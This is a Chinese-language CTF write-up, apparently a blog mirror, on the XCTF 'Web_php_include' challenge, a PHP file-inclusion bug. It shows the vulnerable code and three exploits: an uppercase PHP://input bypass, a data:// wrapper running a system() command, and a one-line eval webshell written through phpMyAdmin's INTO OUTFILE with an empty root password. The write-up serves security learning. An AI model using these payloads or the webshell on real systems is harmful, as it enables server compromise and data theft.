zoukankan      html  css  js  c++  java
  • php include文件包含

    XCTF题目:Web_php_include

    <?php
    show_source(__FILE__);//高亮显示源文件
    echo $_GET['hello'];
    $page=$_GET['page']; //获取表单‘page’的值
    while (strstr($page, "php://")) {  
        $page=str_replace("php://", "", $page);
    }
    include($page);//include()函数用于将函数内调用的文件内的所有内容(文本)复制到调用它的文件中;
    ?>
    
    
    //strstr($page, "php://") 中如果page的值中没有出现"php://",那么不进入循环(循环的意思是将page中含有"php://"的替换为空格)

    第一种方法:

    关于str_repalce函数的绕过:这个函数是区分大小写的,所以只要使用大写就能绕过

    接着使用PHP://input配合post来传递恶意代码

    得知flag文件后读取文件即可得到flag

    第二种方法(data://伪协议执行命令利用)

    既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议

    data://伪协议

    php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

    使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

    <?php system("cat fl4gisisish3r3.php")?>

    第三种方法(数据库写入马)

    御剑扫描获得phpmyadmin root 密码空 进入

    数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

    SHOW VARIABLES LIKE "secure_file_priv"

    linux默认tmp是可写目录 试试写入一句话马 菜刀连接 

    SELECT "<?php eval(@$_POST['xiaohua']); ?>"
    INTO OUTFILE '/tmp/test1.php'

    参考:https://www.cnblogs.com/xhds/p/12218471.html

  • 相关阅读:
    python基础(五)——CGI编程
    python基础(六)——mysql的使用
    python基础(七)——网络编程
    python基础(八)——多线程
    python面试题
    linux日志管理
    linux之nagios安装教程
    【华为云技术分享】盘点物联网常用开发板
    数据库“意外失联”?华为云DRS异地多活灾备为您支招
    如何处理暗数据?
  • 原文地址:https://www.cnblogs.com/luocodes/p/13816728.html
Copyright © 2011-2022 走看看